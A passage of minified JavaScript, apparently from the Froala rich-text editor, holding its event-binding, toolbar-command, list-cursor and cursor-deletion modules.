i=o?l.shared.$_events:g,a=o?l.sid:l.id,s="".concat(t.trim().split(" ").join(".ed".concat(a," ")),".ed").concat(a);n?e.on(s,n,r):e.on(s,r),i.push([e,s])}function t(e){for(var t=0;t<e.length;t++)e[t][0].off(e[t][1])}function m(e,t,n){if(!l.edit.isDisabled()||n){var r,o;if(0!==e.indexOf("shared."))r=a[e];else{if(0<l.shared.count)return!1;r=l.shared._events[e]}if(r)for(var i=0;i<r.length;i++)if(!1===(o=r[i].apply(l,t)))return!1;return(!l.opts.events||!l.opts.events[e]||!1!==(o=l.opts.events[e].apply(l,t)))&&o}}function v(){for(var e in a)Object.prototype.hasOwnProperty.call(a,e)&&delete a[e]}function b(){for(var e in l.shared._events)Object.prototype.hasOwnProperty.call(l.shared._events,e)&&delete l.shared._events[e]}return{_init:function L(){l.shared.$_events=l.shared.$_events||[],l.shared._events={},function e(){l.helpers.isMobile()?(l._mousedown="touchstart",l._mouseup="touchend",l._move="touchmove",l._mousemove="touchmove"):(l._mousedown="mousedown",l._mouseup="mouseup",l._move="",l._mousemove="mousemove")}(),function t(){s(l.$el,"click mouseup mousemove mousedown touchstart touchend dragenter dragover dragleave dragend drop dragstart",function(e){m(e.type,[e])}),h("mousedown",function(){for(var e=0;e<Z.INSTANCES.length;e++)Z.INSTANCES[e]!==l&&Z.INSTANCES[e].popups&&Z.INSTANCES[e].popups.areVisible()&&Z.INSTANCES[e].$el.find(".fr-marker").remove()})}(),function n(){s(l.$win,l._mousedown,function(e){m("window.mousedown",[e]),f()}),s(l.$win,l._mouseup,function(e){m("window.mouseup",[e]),p()}),s(l.$win,"beforeinput cut copy keydown keyup touchmove touchend",function(e){m("window.".concat(e.type),[e])})}(),function r(){s(l.$doc,"dragend drop",function(e){m("document.".concat(e.type),[e])})}(),function o(){s(l.$el,"beforeinput keydown keypress keyup input",function(e){m(e.type,[e])})}(),function i(){s(l.$el,"focus",function(e){u()&&(c(!1),!1===d&&(m(e.type,[e]),l.helpers.isMobile()&&p()))}),s(l.$el,"blur",function(e){u()&&!0===d&&(m(e.type,[e]),l.helpers.isMobile()&&l.opts.toolbarContainer&&(l.shared.selected_editor=l.id),f())}),C(l.$el,"mousedown",'[contenteditable="true"]',function(){p(),l.$el.blur()}),h("focus",function(){d=!0}),h("blur",function(){d=!1})}(),f(),function a(){s(l.$el,"cut copy paste beforepaste",function(e){m(e.type,[e])})}(),h("destroy",v),h("shared.destroy",b)},on:h,trigger:m,bindClick:function r(e,t,n){C(e,l._mousedown,t,function(e){l.edit.isDisabled()||function n(e){var t=i(e.currentTarget);return l.edit.isDisabled()||l.node.hasClass(t.get(0),"fr-disabled")?(e.preventDefault(),!1):"mousedown"===e.type&&1!==e.which||(l.helpers.isMobile()||e.preventDefault(),(l.helpers.isAndroid()||l.helpers.isWindowsPhone())&&0===t.parents(".fr-dropdown-menu").length&&(e.preventDefault(),e.stopPropagation()),t.addClass("fr-selected"),void l.events.trigger("commands.mousedown",[t]))}(e)},!0),C(e,"".concat(l._mouseup," ").concat(l._move),t,function(e){l.edit.isDisabled()||function o(e,t){var n=i(e.currentTarget);if(l.edit.isDisabled()||l.node.hasClass(n.get(0),"fr-disabled"))return e.preventDefault(),!1;if("mouseup"===e.type&&1!==e.which)return!0;if(l.button.getButtons(".fr-selected",!0).get(0)==n.get(0)&&!l.node.hasClass(n.get(0),"fr-selected"))return!0;if("touchmove"!==e.type){if(e.stopPropagation(),e.stopImmediatePropagation(),e.preventDefault(),!l.node.hasClass(n.get(0),"fr-selected"))return l.button.getButtons(".fr-selected",!0).removeClass("fr-selected"),!1;if(l.button.getButtons(".fr-selected",!0).removeClass("fr-selected"),n.data("dragging")||n.attr("disabled"))return n.removeData("dragging"),!1;var r=n.data("timeout");r&&(clearTimeout(r),n.removeData("timeout")),t.apply(l,[e])}else n.data("timeout")||n.data("timeout",setTimeout(function(){n.data("dragging",!0)},100))}(e,n)},!0),C(e,"mousedown click mouseup",t,function(e){l.edit.isDisabled()||e.stopPropagation()},!0),h("window.mouseup",function(){l.edit.isDisabled()||(e.find(t).removeClass("fr-selected"),f())}),C(e,"mouseover",t,function(){i(this).hasClass("fr-options")&&i(this).prev(".fr-btn").addClass("fr-btn-hover"),i(this).next(".fr-btn").hasClass("fr-options")&&i(this).next(".fr-btn").addClass("fr-btn-hover")}),C(e,"mouseout",t,function(){i(this).hasClass("fr-options")&&i(this).prev(".fr-btn").removeClass("fr-btn-hover"),i(this).next(".fr-btn").hasClass("fr-options")&&i(this).next(".fr-btn").removeClass("fr-btn-hover")})},disableBlur:p,enableBlur:f,blurActive:u,focus:c,chainTrigger:function E(e,t,n){if(!l.edit.isDisabled()||n){var r,o;if(0!==e.indexOf("shared."))r=a[e];else{if(0<l.shared.count)return!1;r=l.shared._events[e]}if(r)for(var i=0;i<r.length;i++)void 0!==(o=r[i].apply(l,[t]))&&(t=o);return l.opts.events&&l.opts.events[e]&&void 0!==(o=l.opts.events[e].apply(l,[t]))&&(t=o),t}},$on:C,$off:function n(){t(g),g=[],0===l.shared.count&&(t(l.shared.$_events),l.shared.$_events=[])}}},Object.assign(Z.DEFAULTS,{indentMargin:20}),Z.COMMANDS={bold:{title:"Bold",toggle:!0,refresh:function(e){var t=this.format.is("strong");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},italic:{title:"Italic",toggle:!0,refresh:function(e){var t=this.format.is("em");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},underline:{title:"Underline",toggle:!0,refresh:function(e){var t=this.format.is("u");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},strikeThrough:{title:"Strikethrough",toggle:!0,refresh:function(e){var t=this.format.is("s");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},subscript:{title:"Subscript",toggle:!0,refresh:function(e){var t=this.format.is("sub");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},superscript:{title:"Superscript",toggle:!0,refresh:function(e){var t=this.format.is("sup");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},outdent:{title:"Decrease Indent"},indent:{title:"Increase Indent"},undo:{title:"Undo",undo:!1,forcedRefresh:!0,disabled:!0},redo:{title:"Redo",undo:!1,forcedRefresh:!0,disabled:!0},insertHR:{title:"Insert Horizontal Line"},clearFormatting:{title:"Clear Formatting"},selectAll:{title:"Select All",undo:!1},moreText:{title:"More Text",undo:!1},moreParagraph:{title:"More Paragraph",undo:!1},moreRich:{title:"More Rich",undo:!1},moreMisc:{title:"More Misc",undo:!1}},Z.RegisterCommand=function(e,t){Z.COMMANDS[e]=t},Z.MODULES.commands=function(s){var l=s.$;function a(e){return s.html.defaultTag()&&(e="<".concat(s.html.defaultTag(),">").concat(e,"</").concat(s.html.defaultTag(),">")),e}var i={bold:function(){e("bold","strong")},subscript:function(){s.format.is("sup")&&s.format.remove("sup"),e("subscript","sub")},superscript:function(){s.format.is("sub")&&s.format.remove("sub"),e("superscript","sup")},italic:function(){e("italic","em")},strikeThrough:function(){e("strikeThrough","s")},underline:function(){e("underline","u")},undo:function(){s.undo.run()},redo:function(){s.undo.redo()},indent:function(){r(1)},outdent:function(){r(-1)},show:function(){s.opts.toolbarInline&&s.toolbar.showInline(null,!0)},insertHR:function(){s.selection.remove();var e="";s.core.isEmpty()&&(e=a(e="<br>"));var t='<hr id="fr-just" class="fr-just">'.concat(e);s.opts.trackChangesEnabled&&(t=s.track_changes.wrapInTracking(l(t),"hrWrapper").get(0).outerHTML);s.html.insert(t);var n,r=s.$el.find("hr#fr-just").length?s.$el.find("hr#fr-just"):s.$el.find(".fr-just");r.removeAttr("id"),r.removeAttr("class");var o=s.opts.trackChangesEnabled&&"SPAN"===r[0].parentNode.tagName&&"P"===r[0].parentNode.parentNode.tagName;if(0===r.next().length){var i=s.html.defaultTag();i&&!o?r.after(l(s.doc.createElement(i)).append("<br>").get(0)):o?r[0].parentNode.after(l(s.doc.createElement(i)).append("<br>").get(0)):r.after("<br>")}r.prev().is("hr")?n=s.selection.setAfter(r.get(0),!1):r.next().is("hr")?n=s.selection.setBefore(r.get(0),!1):o||s.selection.setAfter(r.get(0),!1)?s.selection.setAfter(r[0].parentNode,!1):s.selection.setBefore(r.get(0),!1),n||void 0===n||(e=a(e="".concat(Z.MARKERS,"<br>")),r.after(e)),s.selection.restore()},clearFormatting:function(){s.format.remove()},selectAll:function(){s.doc.execCommand("selectAll",!1,!1)},moreText:function(e){t(e)},moreParagraph:function(e){t(e)},moreRich:function(e){t(e)},moreMisc:function(e){t(e)},moreTrackChanges:function(){t("trackChanges")}};function t(e){var t=s.$tb.find("[data-cmd=".concat(e,"]")),n=s.$tb.find("[data-cmd=html]");s.opts.trackChangesEnabled||s.markdown&&s.markdown.isEnabled()?n&&n.addClass("fr-disabled"):n&&n.removeClass("fr-disabled"),function r(n){s.helpers.isMobile()&&s.opts.toolbarInline&&s.events.disableBlur();var e=s.$tb.find('.fr-more-toolbar[data-name="'.concat(n.attr("data-group-name"),'"]'));"trackChanges"===n.data("cmd")&&(e=s.$tb.find('.fr-more-toolbar[data-name="'.concat(n.attr("id"),'"]')));if(s.$tb.find(".fr-open").not(n).not('[data-cmd="trackChanges"]').removeClass("fr-open"),n.toggleClass("fr-open"),s.$tb.find(".fr-more-toolbar").removeClass("fr-overflow-visible"),s.$tb.find(".fr-expanded").not(e).length){var t=s.$tb.find(".fr-expanded").not(e);t.each(function(e,t){0!=l(t).data("name").indexOf("trackChanges-")&&0!=l(t).data("name").indexOf("moreRich-")?l(t).toggleClass("fr-expanded"):n.parents('[data-name^="moreRich-"]').length||0==l(t).data("name").indexOf("trackChanges-")||l(t).find('[id^="trackChanges-"]').length&&s.opts.trackChangesEnabled||l(t).toggleClass("fr-expanded")}),e.toggleClass("fr-expanded")}else e.toggleClass("fr-expanded"),s.$box.toggleClass("fr-toolbar-open"),s.$tb.toggleClass("fr-toolbar-open")}(t),s.toolbar.setMoreToolbarsHeight()}function n(e,t){if(!(s.markdown&&s.markdown.isEnabled()&&("bold"===e||"italic"===e||"underline"===e)||s.opts.trackChangesEnabled&&"markdown"===e)&&!1!==s.events.trigger("commands.before",l.merge([e],t||[]))){var n=Z.COMMANDS[e]&&Z.COMMANDS[e].callback||i[e],r=!0,o=!1;Z.COMMANDS[e]&&("undefined"!=typeof Z.COMMANDS[e].focus&&(r=Z.COMMANDS[e].focus),"undefined"!=typeof Z.COMMANDS[e].accessibilityFocus&&(o=Z.COMMANDS[e].accessibilityFocus)),(!s.core.hasFocus()&&r||!s.core.hasFocus()&&o&&s.accessibility.hasFocus())&&(s.el.focus({preventScroll:!0}),s.events.trigger("focus")),Z.COMMANDS[e]&&!1!==Z.COMMANDS[e].undo&&(s.$el.find(".fr-marker").length&&(s.events.disableBlur(),s.selection.restore()),s.undo.saveStep()),n&&n.apply(s,l.merge([e],t||[])),s.events.trigger("commands.after",l.merge([e],t||[])),Z.COMMANDS[e]&&!1!==Z.COMMANDS[e].undo&&s.undo.saveStep()}}function e(e,t){s.format.toggle(t)}function r(e){s.selection.save(),s.html.wrap(!0,!0,!0,!0),s.selection.restore();for(var t=s.selection.blocks(),n=0;n<t.length;n++)if("LI"!==t[n].tagName&&"LI"!=t[n].parentNode.tagName&&("LI"!==t[n].tagName||"LI"!==t[n].parentNode.tagName)){var r=l(t[n]);"LI"!=t[n].tagName&&"LI"==t[n].parentNode.tagName&&(r=l(t[n].parentNode));var o="rtl"===s.opts.direction||"rtl"===r.css("direction")?"margin-right":"margin-left",i=s.helpers.getPX(r.css(o)),a=s.helpers.getPX(r.css("text-indent"));if(r.width()<2*s.opts.indentMargin&&0<e||i+a<=0&&e<0)continue;"UL"!=t[n].parentNode.tagName&&"OL"!=t[n].parentNode.tagName&&"LI"!=t[n].parentNode.tagName&&r.css(o,Math.max(i+e*s.opts.indentMargin,0)||""),r.removeClass("fr-temp-div")}s.selection.save(),s.html.unwrap(),s.selection.restore()}function o(e){return function(){n(e)}}var c={};for(var d in i)Object.prototype.hasOwnProperty.call(i,d)&&(c[d]=o(d));return Object.assign(c,{exec:n,_init:function f(){s.events.on("keydown",function(e){var t=s.selection.element();if(t&&"HR"===t.tagName&&!s.keys.isArrow(e.which))return e.preventDefault(),!1}),s.events.on("keyup",function(e){var t=s.selection.element();if(t&&"HR"===t.tagName)if(e.which===Z.KEYCODE.ARROW_LEFT||e.which===Z.KEYCODE.ARROW_UP){if(t.previousSibling)return s.node.isBlock(t.previousSibling)?s.selection.setAtEnd(t.previousSibling):l(t).before(Z.MARKERS),s.selection.restore(),!1}else if((e.which===Z.KEYCODE.ARROW_RIGHT||e.which===Z.KEYCODE.ARROW_DOWN)&&t.nextSibling)return s.node.isBlock(t.nextSibling)?s.selection.setAtStart(t.nextSibling):l(t).after(Z.MARKERS),s.selection.restore(),!1}),s.events.on("mousedown",function(e){if(e.target&&"HR"===e.target.tagName)return e.preventDefault(),e.stopPropagation(),!1}),s.events.on("mouseup",function(){var e=s.selection.element();e===s.selection.endElement()&&e&&"HR"===e.tagName&&(e.nextSibling&&(s.node.isBlock(e.nextSibling)?s.selection.setAtStart(e.nextSibling):l(e).after(Z.MARKERS)),s.selection.restore())})}})},Z.MODULES.cursorLists=function(v){var b=v.$;function L(e){for(var t=e;"LI"!==t.tagName;)t=t.parentNode;return t}function E(e){for(var t=e;!v.node.isList(t);)t=t.parentNode;return t}function y(e){for(var t="",n=0;n<e.length;n++){var r=e[n];t+="".concat(r.name,"='").concat(r.value,"' ")}return t}return{_startEnter:function S(e){var t,n=L(e),r=n.nextSibling,o=n.previousSibling,i=v.html.defaultTag();if(v.node.isEmpty(n,!0)&&r){for(var a="",s="",l=e.parentNode;!v.node.isList(l)&&l.parentNode&&("LI"!==l.parentNode.tagName||l.parentNode===n);)-1<["OL","LI","UL"].indexOf(l.tagName)&&(a=v.node.openTagString(l)+a,s+=v.node.closeTagString(l)),l=l.parentNode;a=v.node.openTagString(l)+a,s+=v.node.closeTagString(l);var c="";if(l.parentNode&&"LI"===l.parentNode.tagName)if(l.parentNode.attributes.length){var d=y(l.parentNode.attributes);c="".concat(s,"<li ").concat(d,">").concat(Z.MARKERS,"<br>").concat(a)}else c="".concat(s,"<li>").concat(Z.MARKERS,"<br>").concat(a);else c=i?"".concat(s,"<").concat(i,">").concat(Z.MARKERS,"<br></").concat(i,">").concat(a):"".concat(s+Z.MARKERS,"<br>").concat(a);for(;["UL","OL"].indexOf(l.tagName)<0||l.parentNode&&"LI"===l.parentNode.tagName;)l=l.parentNode;b(n).replaceWith('<span id="fr-break"></span>');var f=v.node.openTagString(l)+b(l).html()+v.node.closeTagString(l);f=f.replace(/<span id="fr-break"><\/span>/g,c),b(l).replaceWith(f),v.$el.find("li:empty").remove(),v.$el.find("li > p > span:empty").length&&v.$el.find("li > p > span:empty")[0].parentNode.parentNode.remove()}else if(o&&r||!v.node.isEmpty(n,!0)){var p="<br>",u=e.parentNode;for(u&&"A"===u.tagName&&(u=null);u&&"LI"!==u.tagName;)p=v.node.openTagString(u)+p+v.node.closeTagString(u),u=u.parentNode;if(u&&u.attributes.length){var h=y(u.attributes);b(n).before("<li ".concat(h,">").concat(p,"</li>"))}else b(n).before("<li>".concat(p,"</li>"));b(e).remove()}else if(o){t=E(n);for(var g="".concat(Z.MARKERS,"<br>"),C=e.parentNode;C&&"LI"!==C.tagName;)g=v.node.openTagString(C)+g+v.node.closeTagString(C),C=C.parentNode;if(t.parentNode&&"LI"===t.parentNode.tagName)if(t.parentNode.attributes.length){var m=y(t.parentNode.attributes);b(t.parentNode).after("<li ".concat(m,">").concat(g,"</li>"))}else b(t.parentNode).after("<li>".concat(g,"</li>"));else i?b(t).after("<".concat(i,">").concat(g,"</").concat(i,">")):b(t).after(g);b(n).remove()}else(t=E(n)).parentNode&&"LI"===t.parentNode.tagName?r?b(t.parentNode).before("".concat(v.node.openTagString(n)+Z.MARKERS,"<br></li>")):b(t.parentNode).after("".concat(v.node.openTagString(n)+Z.MARKERS,"<br></li>")):i?b(t).before("<".concat(i,">").concat(Z.MARKERS,"<br></").concat(i,">")):b(t).before("".concat(Z.MARKERS,"<br>")),b(n).remove()},_middleEnter:function c(e){for(var t=L(e),n="",r=e,o="",i="",a=!1;r!==t;){var s="A"===(r=r.parentNode).tagName&&v.cursor.isAtEnd(e,r)?"fr-to-remove":"";a||r==t||v.node.isBlock(r)||(a=!0,o+=Z.INVISIBLE_SPACE),o=v.node.openTagString(b(r).clone().addClass(s).get(0))+o,i+=v.node.closeTagString(r)}n=i+n+o+Z.MARKERS+(v.opts.keepFormatOnDelete?Z.INVISIBLE_SPACE:""),b(e).replaceWith('<span id="fr-break"></span>');var l=v.node.openTagString(t)+b(t).html()+v.node.closeTagString(t);l=l.replace(/<span id="fr-break"><\/span>/g,n),b(t).replaceWith(l)},_endEnter:function l(e){for(var t=L(e),n=Z.MARKERS,r="",o=e,i=!1;o!==t;)if(!(o=o.parentNode).classList.contains("fr-img-space-wrap")&&!o.classList.contains("fr-img-space-wrap2")){var a="A"===o.tagName&&v.cursor.isAtEnd(e,o)?"fr-to-remove":"";i||o===t||v.node.isBlock(o)||(i=!0,r+=Z.INVISIBLE_SPACE),r=v.node.openTagString(b(o).clone().addClass(a).get(0))+r,n+=v.node.closeTagString(o)}var s=r+n;b(e).remove(),b(t).after(s)},_backspace:function d(e){var t=L(e),n=t.previousSibling;if(n){n=b(n).find(v.html.blockTagsQuery()).get(-1)||n,b(e).replaceWith(Z.MARKERS);var r=v.node.contents(n);r.length&&"BR"===r[r.length-1].tagName&&b(r[r.length-1]).remove(),b(t).find(v.html.blockTagsQuery()).not("ol, ul, table").each(function(){this.parentNode===t&&b(this).replaceWith(b(this).html()+(v.node.isEmpty(this)?"":"<br>"))});for(var o,i=v.node.contents(t)[0];i&&!v.node.isList(i);)o=i.nextSibling,b(n).append(i),i=o;for(n=t.previousSibling;i;)o=i.nextSibling,b(n).append(i),i=o;1<(r=v.node.contents(n)).length&&"BR"===r[r.length-1].tagName&&b(r[r.length-1]).remove(),b(t).remove()}else{var a=E(t);if(b(e).replaceWith(Z.MARKERS),a.parentNode&&"LI"===a.parentNode.tagName){var s=a.previousSibling;v.node.isBlock(s)?(b(t).find(v.html.blockTagsQuery()).not("ol, ul, table").each(function(){this.parentNode===t&&b(this).replaceWith(b(this).html()+(v.node.isEmpty(this)?"":"<br>"))}),b(s).append(b(t).html())):b(a).before(b(t).html())}else{var l=v.html.defaultTag();l&&0===b(t).find(v.html.blockTagsQuery()).length?b(a).before("<".concat(l,">").concat(b(t).html(),"</").concat(l,">")):b(a).before(b(t).html())}b(t).remove(),v.html.wrap(),0===b(a).find("li").length&&b(a).remove()}},_del:function f(e){var t,n=L(e),r=n.nextSibling;if(r){(t=v.node.contents(r)).length&&"BR"===t[0].tagName&&b(t[0]).remove(),b(r).find(v.html.blockTagsQuery()).not("ol, ul, table").each(function(){this.parentNode===r&&b(this).replaceWith(b(this).html()+(v.node.isEmpty(this)?"":"<br>"))});for(var o,i=e,a=v.node.contents(r)[0];a&&!v.node.isList(a);)o=a.nextSibling,b(i).after(a),i=a,a=o;for(;a;)o=a.nextSibling,b(n).append(a),a=o;b(e).replaceWith(Z.MARKERS),b(r).remove()}else{for(var s=n;!s.nextSibling&&s!==v.el;)s=s.parentNode;if(s===v.el)return!1;if(s=s.nextSibling,v.node.isBlock(s)){if(Z.NO_DELETE_TAGS.indexOf(s.tagName)<0){if(b(e).replaceWith(Z.MARKERS),(t=v.node.contents(n)).length&&"BR"===t[t.length-1].tagName&&b(t[t.length-1]).remove(),s.isContentEditable&&"DIV"===s.tagName&&(!v.node.isBlock(s.previousSibling)||"DIV"===s.previousSibling.tagName))return;b(n).append(b(s).html()),b(s).remove()}}else{for((t=v.node.contents(n)).length&&"BR"===t[t.length-1].tagName&&b(t[t.length-1]).remove(),b(e).replaceWith(Z.MARKERS);s&&!v.node.isBlock(s)&&"BR"!==s.tagName;)b(n).append(b(s)),s=s.nextSibling;b(s).remove()}}}}},Z.NO_DELETE_TAGS=["TH","TD","TR","TABLE","FORM"],Z.SIMPLE_ENTER_TAGS=["TH","TD","LI","DL","DT","FORM"],Z.MODULES.cursor=function(C){var m=C.$;function u(e){return!!e&&(C.node.isBlock(e)?"P"!==e.tagName||!e.nextElementSibling||!e.parentElement||"OL"!==e.nextElementSibling.tagName||"LI"!==e.parentElement.tagName:e.nextSibling&&e.nextSibling.nodeType===Node.TEXT_NODE&&0===e.nextSibling.textContent.replace(/\u200b/g,"").length?u(e.nextSibling):!(e.nextSibling&&(!e.previousSibling||"BR"!==e.nextSibling.tagName||e.nextSibling.nextSibling))&&u(e.parentNode))}function h(e){return!!e&&(!!C.node.isBlock(e)||(e.previousSibling&&e.previousSibling.nodeType===Node.TEXT_NODE&&0===e.previousSibling.textContent.replace(/\u200b/g,"").length?h(e.previousSibling):!e.previousSibling&&(!(e.previousSibling||!C.node.hasClass(e.parentNode,"fr-inner"))||h(e.parentNode))))}function g(e,t){return!!e&&(e!==C.$wp.get(0)&&(e.previousSibling&&e.previousSibling.nodeType===Node.TEXT_NODE&&0===e.previousSibling.textContent.replace(/\u200b/g,"").length?g(e.previousSibling,t):!e.previousSibling&&(e.parentNode===t||g(e.parentNode,t))))}function v(e,t){return!!e&&(e!==C.$wp.get(0)&&(e.nextSibling&&e.nextSibling.nodeType===Node.TEXT_NODE&&0===e.nextSibling.textContent.replace(/\u200b/g,"").length?v(e.nextSibling,t):!(e.nextSibling&&(!e.previousSibling||"BR"!==e.nextSibling.tagName||e.nextSibling.nextSibling))&&(e.parentNode===t||v(e.parentNode,t))))}function b(e){return 0<m(e).parentsUntil(C.$el,"LI").length&&0===m(e).parentsUntil("LI","TABLE").length}function L(e,t){var n=new RegExp("".concat(t?"^":"","(([\\uD83C-\\uDBFF\\uDC00-\\uDFFF]+\\u200D)*[\\uD83C-\\uDBFF\\uDC00-\\uDFFF]{2})").concat(t?"":"$"),"i"),r=e.match(n);return r?r[0].length:1}function E(e){for(var t,n=e;!n.previousSibling;)if(n=n.parentNode,C.node.isElement(n))return!1;n=n.previousSibling;var r=C.opts.htmlAllowedEmptyTags,o=n.tagName&&n.tagName.toLowerCase();if((!C.node.isBlock(n)||n.lastChild&&o&&0<=r.indexOf(o))&&C.node.isEditable(n)){for(t=C.node.contents(n);n.nodeType!==Node.TEXT_NODE&&!C.node.isDeletable(n)&&t.length&&C.node.isEditable(n);)n=t[t.length-1],t=C.node.contents(n);if(n.nodeType===Node.TEXT_NODE){var i=n.textContent,a=i.length;if(i.length&&"\n"===i[i.length-1])return n.textContent=i.substring(0,a-2),0===n.textContent.length&&n.parentNode.removeChild(n),E(e);if(C.opts.tabSpaces&&i.length>=C.opts.tabSpaces||C.opts.preserveTabSpaces&&4<=i.length){var s=C.opts.tabSpaces?C.opts.tabSpaces:4;0===i.substr(i.length-s,i.length-1).replace(/ /g,"").replace(new RegExp(Z.UNICODE_NBSP,"g"),"").length&&(a=i.length-s+1)}n.textContent=i.substring(0,a-L(i));var l=n.textContent;(C.opts.enter===Z.ENTER_BR&&0<l.length&&" "===l.charAt(l.length-1)||0===l.length&&e.previousSibling&&3===e.previousSibling.nodeType&&"TD"!==e.parentNode.tagName&&"LI"!==e.parentNode.tagName&&i!==String.fromCharCode(8203))&&(e.insertAdjacentHTML("beforebegin",Z.INVISIBLE_SPACE),n=n.nextSibling),C.opts.trackChangesEnabled&&0===n.textContent.length&&m(n.parentElement).data("tracking")&&0===m(n.parentElement).find("[data-tracking-deleted=true]").length&&(m(e).insertBefore(n.parentElement),m(n.parentElement).remove(),n=m(e)[0].previousSibling),C.opts.htmlUntouched&&!e.nextSibling&&n.textContent.length&&" "===n.textContent[n.textContent.length-1]&&(n.textContent=n.textContent.substring(0,n.textContent.length-1)+Z.UNICODE_NBSP);var c=i.length!==n.textContent.length;if(C.opts.enter!==Z.ENTER_BR&&n&&n.previousSibling&&n.previousSibling.previousSibling&&"BR"===n.previousSibling.previousSibling.tagName&&0===n.textContent.length&&n.previousSibling.previousSibling.remove(),0===n.textContent.length&&"LI"===n.parentNode.tagName&&n.previousSibling&&"BR"===n.previousSibling.tagName&&n.previousSibling.remove(),0===n.textContent.length)if(c&&C.opts.keepFormatOnDelete)m(n).after(Z.INVISIBLE_SPACE+Z.MARKERS);else if(0!==i.length&&C.node.isBlock(n.parentNode))m(n).after(Z.MARKERS);else if((2!=n.parentNode.childNodes.length||n.parentNode!=e.parentNode)&&1!=n.parentNode.childNodes.length||C.node.isBlock(n.parentNode)||C.node.isElement(n.parentNode)||!C.node.isDeletable(n.parentNode)){for(var d,f=n;!C.node.isElement(n.parentNode)&&C.node.isEmpty(n.parentNode)&&Z.NO_DELETE_TAGS.indexOf(n.parentNode.tagName)<0;)if("A"===(n=n.parentNode).tagName){var p=n.childNodes[0];for(m(n).before(p),d=!0;0<p.childNodes.length;)p=p.childNodes[0];n.parentNode.removeChild(n),n=p;break}d||(n=f),m(n).after(Z.MARKERS),C.node.isElement(n.parentNode)&&!e.nextSibling&&n.previousSibling&&"BR"===n.previousSibling.tagName&&m(e).after("<br>");var u=n.parentNode;n.parentNode.removeChild(n),C.node.isEmpty(u)&&m(u).html(Z.INVISIBLE_SPACE+Z.MARKERS)}else m(n.parentNode).after(Z.MARKERS),m(n.parentNode).remove();else m(n).after(Z.MARKERS)}else C.node.isDeletable(n)?(m(n).after(Z.MARKERS),m(n).remove()):e.nextSibling&&"BR"===e.nextSibling.tagName&&C.node.isVoid(n)&&"BR"!==n.tagName?(m(e.nextSibling).remove(),m(e).replaceWith(Z.MARKERS)):!1!==C.events.trigger("node.remove",[m(n)])&&(m(n).after(Z.MARKERS),m(n).remove())}else if(Z.NO_DELETE_TAGS.indexOf(n.tagName)<0&&(C.node.isEditable(n)||C.node.isDeletable(n)))if(C.node.isDeletable(n))m(e).replaceWith(Z.MARKERS),m(n).remove();else if(C.node.isEmpty(n)&&!C.node.isList(n))m(n).remove(),m(e).replaceWith(Z.MARKERS);else{for(C.node.isList(n)&&(n=m(n).find("li").last().get(0)),(t=C.node.contents(n))&&0<t.length&&"BR"===t[t.length-1].tagName&&m(t[t.length-1]).remove(),t=C.node.contents(n);t&&0<t.length&&C.node.isBlock(t[t.length-1]);)n=t[t.length-1],t=C.node.contents(n);m(n).append(Z.MARKERS);for(var h=e;!h.previousSibling;)h=h.parentNode;for(;h&&"BR"!==h.tagName&&!C.node.isBlock(h);){var g=h;h=h.nextSibling,m(n).append(g)}h&&"BR"===h.tagName&&m(h).remove(),m(e).remove()}else e.nextSibling&&"BR"===e.nextSibling.tagName&&m(e.nextSibling).remove();return!0}function i(e){var t=0<m(e).parentsUntil(C.$el,"BLOCKQUOTE").length,n=C.node.deepestParent(e,[],!t);if(n&&"BLOCKQUOTE"===n.tagName){var r=C.node.deepestParent(e,[m(e).parentsUntil(C.$el,"BLOCKQUOTE").get(0)]);r&&r.nextSibling&&(n=r)}if(null!==n){var o,i=n.nextSibling;if(C.node.isBlock(n)&&(C.node.isEditable(n)||C.node.isDeletable(n))&&i&&Z.NO_DELETE_TAGS.indexOf(i.tagName)<0)if(C.node.isDeletable(i))m(i).remove(),m(e).replaceWith(Z.MARKERS);else if(C.node.isBlock(i)&&C.node.isEditable(i))if(C.node.isList(i))if(C.node.isEmpty(n,!0))m(n).remove(),m(i).find("li").first().prepend(Z.MARKERS);else{var a=m(i).find("li").first();"BLOCKQUOTE"===n.tagName&&(o=C.node.contents(n)).length&&C.node.isBlock(o[o.length-1])&&(n=o[o.length-1]),0===a.find("ul, ol").length&&(m(e).replaceWith(Z.MARKERS),a.find(C.html.blockTagsQuery()).not("ol, ul, table").each(function(){this.parentNode===a.get(0)&&m(this).replaceWith(m(this).html()+(C.node.isEmpty(this)?"":"<br>"))}),m(n).append(C.node.contents(a.get(0))),a.remove(),0===m(i).find("li").length&&m(i).remove())}else{if((o=C.node.contents(i)).length&&"BR"===o[0].tagName&&m(o[0]).remove(),"BLOCKQUOTE"!==i.tagName&&"BLOCKQUOTE"===n.tagName)for(o=C.node.contents(n);o.length&&C.node.isBlock(o[o.length-1]);)n=o[o.length-1],o=C.node.contents(n);else if("BLOCKQUOTE"===i.tagName&&"BLOCKQUOTE"!==n.tagName)for(o=C.node.contents(i);o.length&&C.node.isBlock(o[0]);)i=o[0],o=C.node.contents(i);m(e).replaceWith(Z.MARKERS),m(n).append(i.innerHTML),m(i).remove()}else{for(m(e).replaceWith(Z.MARKERS);i&&"BR"!==i.tagName&&!C.node.isBlock(i)&&C.node.isEditable(i);){var s=i;i=i.nextSibling,m(n).append(s)}i&&"BR"===i.tagName&&C.node.isEditable(i)&&m(i).remove()}}}function n(e){for(var t,n=e;!n.nextSibling;)if(n=n.parentNode,C.node.isElement(n))return!1;if("BR"===(n=n.nextSibling).tagName&&C.node.isEditable(n))if(n.nextSibling){if(C.node.isBlock(n.nextSibling)&&C.node.isEditable(n.nextSibling)){if(!(Z.NO_DELETE_TAGS.indexOf(n.nextSibling.tagName)<0))return void m(n).remove();n=n.nextSibling,m(n.previousSibling).remove()}}else if(u(n)){if(b(e))C.cursorLists._del(e);else 